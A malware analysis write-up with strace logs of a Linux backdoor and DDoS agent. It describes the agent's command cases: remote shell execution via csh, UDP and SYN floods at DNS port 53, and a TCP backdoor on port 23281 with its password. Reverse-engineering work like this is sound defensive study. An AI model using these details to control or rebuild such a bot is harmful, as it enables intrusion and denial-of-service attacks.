When sending a sample packet to “the-binary”, it can be seen how it responds to this packet, sending a new IP 0xB protocol packet to the localhost (“0.0.0.0”). It uses the system call “sendto()”.

 

CASE 1:

It doesn´t call a network system call when receiving a test input packet, with a payload of “abcdef”. It was not analyzed in detail when “strace” was run.

 

CASE 2:

When receiving the packet it tries to spawn a shell (csh) in the system:

execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"def\n\" 1> /tmp/.h"...], [/* 35 vars */]) = 0

 

CASE 3:

When “the-binary” is running CASE 3 and receives a packet, it begins an infinite loop generating a big flow of packets (DoS) whose destination IP address is “random”. Carry on a detailed analysis of the “random” IP addresses, it can be seen that they belong to a finite set that is repeated again and again, so they are not really random.

 

The whole destination IP addresses set is contained in the file called  “strace_case3_whole.txt”.

 

It can also be analyzed that based on the input data length the behaviour changes. It tries to resolve the input as a network name, not shown in the output, and tries to connect to the DNS port (53) through UDP packets.

 

If the input information is less or equal than eight characters it follows the described behaviour, but if it is greater than eight, it takes some actions and waits in a “sigsuspend([]” call.

 

CASE 4:

This case is the same as the previous one, but it allows you to set the destination IP address to send packets to, based on the input data. You can see a detailed description, as what input characters define the IP address, based on trial and error tests in the “strace” file associated to this case: “strace_case4.txt”.

 

CASE 5:

When sending a packet to this option, a new TCP server is placed in listening state in port 23281. You can connect to it using a special expected password: “SeNiF”. More details of some of the actions taken can be obtained in the “strace” output file: “strace_case5.txt”

 

CASE 7:

It is waiting a specific input, and if it doesn´t match, it returns to the receive state, using the “recv()” system call.

 

CASE 8:

This case is very similar to CASE 3, but the character that selects between the “random” IP addresses and the fixed destination IP address, where a name resolution is carried on, is not eight characters (as in CASE 3), but nine. It also tries a flood of SYN connections to the DNS port (53), and not UDP as in CASE 3.

 

CASE 9, A and B:

All these three cases are very similar to CASE 4 in the way the destination IP address is selected, based on the data input provided. The actions performed are different as will be seen in other analysis, as for example, the network traces analysis.

 

The following is the output we got running the strace command against our patched binaries, additionaly included to the already mentioned “strace” compressed file:

 

bash# strace -f reverse/the-binary0

execve("reverse/the-binary0", ["reverse/the-binary0"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 935

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021496114

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

socket(PF_INET, SOCK_RAW, IPPROTO_RAW)  = 1

brk(0)                                  = 0x807eb98

brk(0x807ed88)                          = 0x807ed88

brk(0x807f000)                          = 0x807f000

sendto(1, "E\0\1\332\303m\0\0\372\v\373\253\0\0\0\0\0\0\0\0\3\0\27"..., 474, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 474

close(1)                                = 0

oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

recv(0, "E\0\1\332\303m\0\0\372\v|\252\177\0\0\1\0\0\0\0\3\0\27"..., 2048, 0) = 474

oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

recv(0,  <unfinished ...>

 

 

 

bash# strace -f reverse/the-binary1

execve("reverse/the-binary1", ["reverse/the-binary1"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 940

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021496199

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

time(NULL)                              = 1021496211

oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

recv(0, "E\0\1\250a\277\0\0\372\v\336\212\177\0\0\1\0\0\0\0\3\0"..., 2048, 0) = 424

oldselect(1, NULL, NULL, NULL, {0, 10000}) = 0 (Timeout)

recv(0,  <unfinished ...>

 

 

 

 

bash# strace -f reverse/the-binary2

execve("reverse/the-binary2", ["reverse/the-binary2"], [/* 25 vars */]) = 0

personality(PER_LINUX)                  = 0

geteuid()                               = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

setsid()                                = 945

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

chdir("/")                              = 0

close(0)                                = 0

close(1)                                = 0

close(2)                                = 0

time(NULL)                              = 1021496238

socket(PF_INET, SOCK_RAW, 0xb /* IPPROTO_??? */) = 0

sigaction(SIGHUP, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGTERM, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

recv(0, "E\20\0\311\0\362\0\0000\v\213&\177\0\0\1\177\0\0\1\2AB"..., 2048, 0) = 201

setsid()                                = -1 EPERM (Operation not permitted)

sigaction(SIGCHLD, {SIG_IGN}, {SIG_IGN}, 0x80575a8) = 0

sigaction(SIGINT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 0x40037c68) = 0

sigprocmask(SIG_BLOCK, [CHLD], [])      = 0

sigaction(SIGINT, {SIG_DFL}, NULL, 0x1d) = 0

sigaction(SIGQUIT, {SIG_DFL}, NULL, 0x1e) = 0

sigprocmask(SIG_SETMASK, [], NULL)      = 0

execve("/bin/sh", ["sh", "-c", "/bin/csh -f -c \"\352\352\352\352\352\352\352\340\352\352"...], [/* 25 vars */]) = 0

brk(0)                                  = 0x80994a0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY)      = -1 ENOENT (No such file or directory)

open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686/mmx", 0xbffff388)       = -1 ENOENT (No such file or directory)

open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/i686", 0xbffff388)           = -1 ENOENT (No such file or directory)

open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

stat("/lib/mmx", 0xbffff388)            = -1 ENOENT (No such file or directory)

open("/lib/libtermcap.so.2", O_RDONLY)  = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096

old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40015000

mprotect(0x40018000, 3016, PROT_NONE)   = 0

old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x2000) = 0x40018000

close(1)                                = 0

open("/lib/libc.so.6", O_RDONLY)        = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40019000

mprotect(0x40106000, 30812, PROT_NONE)  = 0

old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0xec000) = 0x40106000

old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000

close(1)                                = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0

mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0

personality(PER_LINUX)                  = 0

getpid()                                = 945

getuid()                                = 0

getgid()                                = 0

geteuid()                               = 0

getegid()                               = 0

brk(0)                                  = 0x80994a0

brk(0x80994c0)                          = 0x80994c0

brk(0x809a000)                          = 0x809a000

time(NULL)                              = 1021496253

rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGVTALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGPROF, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR1, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigaction(SIGUSR2, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0

rt_sigaction(SIGQUIT, {SIG_IGN}, {SIG_DFL}, 8) = 0

socket(PF_UNIX, SOCK_STREAM, 0)         = 1

connect(1, {sin_family=AF_UNIX, path="                                                                                       /var/run/.nscd_socket"}, 110) = -1 ECONNREFUSED (Connection refused)

close(1)                                = 0

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

open("/lib/libnss_compat.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=219843, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\31\0\000"..., 4096) = 4096

old_mmap(NULL, 45036, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4010e000

mprotect(0x40118000, 4076, PROT_NONE)   = 0

old_mmap(0x40118000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x9000) = 0x40118000

close(1)                                = 0

open("/lib/libnsl.so.1", O_RDONLY)      = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=370141, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\20?\0\000"..., 4096) = 4096

old_mmap(NULL, 88104, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x40119000

mprotect(0x4012b000, 14376, PROT_NONE)  = 0

old_mmap(0x4012b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x11000) = 0x4012b000

old_mmap(0x4012d000, 6184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4012d000

close(1)                                = 0

brk(0x809b000)                          = 0x809b000

open("/etc/nsswitch.conf", O_RDONLY)    = -1 ENOENT (No such file or directory)

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/etc/passwd", O_RDONLY)           = 1

fcntl(1, F_GETFD)                       = 0

fcntl(1, F_SETFD, FD_CLOEXEC)           = 0

fstat64(0x1, 0xbffff540)                = -1 ENOSYS (Function not implemented)

fstat(1, {st_mode=S_IFREG|0644, st_size=60, ...}) = 0

old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4012f000

_llseek(1, 0, [0], SEEK_CUR)            = 0

read(1, "root:x:0:0:root:/:/bin/bash\ntest"..., 4096) = 60

close(1)                                = 0

munmap(0x4012f000, 4096)                = 0

uname({sys="Linux", node="hpspps3m.spain.hp.com", ...}) = 0

open("/lib/libnss_files.so.2", O_RDONLY) = 1

fstat(1, {st_mode=S_IFREG|0755, st_size=246652, ...}) = 0

read(1, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p \0\000"..., 4096) = 4096

old_mmap(NULL, 36384, PROT_READ|PROT_EXEC, MAP_PRIVATE, 1, 0) = 0x4012f000

mprotect(0x40137000, 3616, PROT_NONE)   = 0

old_mmap(0x40137000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 1, 0x7000) = 0x40137000

close(1)                                = 0

brk(0x809c000)                          = 0x809c000

brk(0x809e000)                          = 0x809e000

getcwd("/", 4095)                       = 2

getpid()                                = 945

getppid()                               = 944

stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

stat("/usr/kerberos/bin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)

stat("/usr/kerberos/bin/sh", 0xbffff6a0) = -1 ENOENT (No such file or directory)

stat("/sbin/sh", 0xbffff6a0)            = -1 ENOENT (No such file or directory)

stat("/usr/sbin/sh", 0xbffff6a0)        = -1 ENOENT (No such file or directory)

stat("/bin/sh", {st_mode=S_IFREG|0755, st_size=316848, ...}) = 0

getpgrp()                               = 945

fcntl(-1, F_SETFD, FD_CLOEXEC)          = -1 EBADF (Bad file descriptor)

rt_sigaction(SIGCHLD, {0x805c190, [], 0x4000000}, {SIG_IGN}, 8) = 0

brk(0x809f000)                          = 0x809f000

brk(0x80a0000)                          = 0x80a0000

rt_sigprocmask(SIG_BLOCK, [INT CHLD], [], 8) = 0

fork()                                  = 949

[pid   945] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

[pid   945] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0

[pid   945] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

[pid   945] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0

[pid   945] rt_sigaction(SIGINT, {0x805b6a0, [], 0x4000000}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

[pid   945] wait4(-1,  <unfinished ...>

[pid   949] getpid()                    = 949

[pid   949] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0

[pid   949] rt_sigaction(SIGTSTP, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGTTOU, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGTTIN, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGHUP, {SIG_IGN}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGILL, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGTRAP, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGABRT, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGFPE, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGBUS, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGSEGV, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGUNUSED, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGPIPE, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGALRM, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGTERM, {SIG_IGN}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGXCPU, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGXFSZ, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGVTALRM, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGPROF, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGUSR1, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGUSR2, {SIG_DFL}, NULL, 8) = 0

[pid   949] rt_sigaction(SIGINT, {SIG_DFL}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

[pid   949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_IGN}, 8) = 0

[pid   949] rt_sigaction(SIGCHLD, {SIG_IGN}, {0x805c190, [], 0x4000000}, 8) = 0

[pid   949] open("/tmp/.hj237349", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 1

[pid   949] dup2(1, 2)                  = 2

[pid   949] fcntl(1, F_GETFD)           = 0

[pid   949] execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0

[pid   949] brk(0)                      = 0x80994a0

[pid   949] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40014000

[pid   949] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] open("/etc/ld.so.cache", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] open("/lib/i686/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] stat("/lib/i686/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)

[pid   949] open("/lib/i686/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] stat("/lib/i686", 0xbffff398) = -1 ENOENT (No such file or directory)

[pid   949] open("/lib/mmx/libtermcap.so.2", O_RDONLY) = -1 ENOENT (No such file or directory)

[pid   949] stat("/lib/mmx", 0xbffff398) = -1 ENOENT (No such file or directory)

[pid   949] open("/lib/libtermcap.so.2", O_RDONLY) = 3

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=12224, ...}) = 0

[pid   949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\16\0"..., 4096) = 4096

[pid   949] old_mmap(NULL, 15304, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40015000

[pid   949] mprotect(0x40018000, 3016, PROT_NONE) = 0

[pid   949] old_mmap(0x40018000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x2000) = 0x40018000

[pid   949] close(3)                    = 0

[pid   949] open("/lib/libc.so.6", O_RDONLY) = 3

[pid   949] fstat(3, {st_mode=S_IFREG|0755, st_size=4101324, ...}) = 0

[pid   949] read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\210\212"..., 4096) = 4096

[pid   949] old_mmap(NULL, 1001564, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40019000

[pid   949] mprotect(0x40106000, 30812, PROT_NONE) = 0

[pid   949] old_mmap(0x40106000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0xec000) = 0x40106000

[pid   949] old_mmap(0x4010a000, 14428, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4010a000

[pid   949] close(3)                    = 0

[pid   949] mprotect(0x40019000, 970752, PROT_READ|PROT_WRITE) = 0

[pid   949] mprotect(0x40019000, 970752, PROT_READ|PROT_EXEC) = 0

[pid   949] personality(PER_LINUX)      = 0

[pid   949] getpid()                    = 949

[pid   949] getuid()                    = 0

[pid   949] getgid()                    = 0

[pid   949] geteuid()                   = 0

[pid   949] getegid()                   = 0

[pid   949] brk(0)                      = 0x80994a0

[pid   949] brk(0x80994c0)              = 0x80994c0

[pid   949] brk(0x809a000)              = 0x809a000

[pid   949] time(NULL)                  = 1021496253

[pid   949] rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_IGN}, 8) = 0

[pid   949] rt_sigaction(SIGCHLD, {SIG_IGN}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGINT, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGQUIT, {SIG_DFL}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGHUP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

[pid   949] rt_sigaction(SIGHUP, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

[pid   949] rt_sigaction(SIGINT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGILL, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGTRAP, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGABRT, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGFPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGBUS, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGSEGV, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGUNUSED, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGPIPE, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGALRM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGTERM, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_IGN}, 8) = 0

[pid   949] rt_sigaction(SIGTERM, {SIG_IGN}, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, 8) = 0

[pid   949] rt_sigaction(SIGXCPU, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

[pid   949] rt_sigaction(SIGXFSZ, {0x804b8c0, [HUP INT ILL TRAP ABRT BUS FPE USR1 SEGV USR2 PIPE ALRM TERM XCPU XFSZ VTALRM PROF UNUSED], 0x4000000}, {SIG_DFL}, 8) = 0

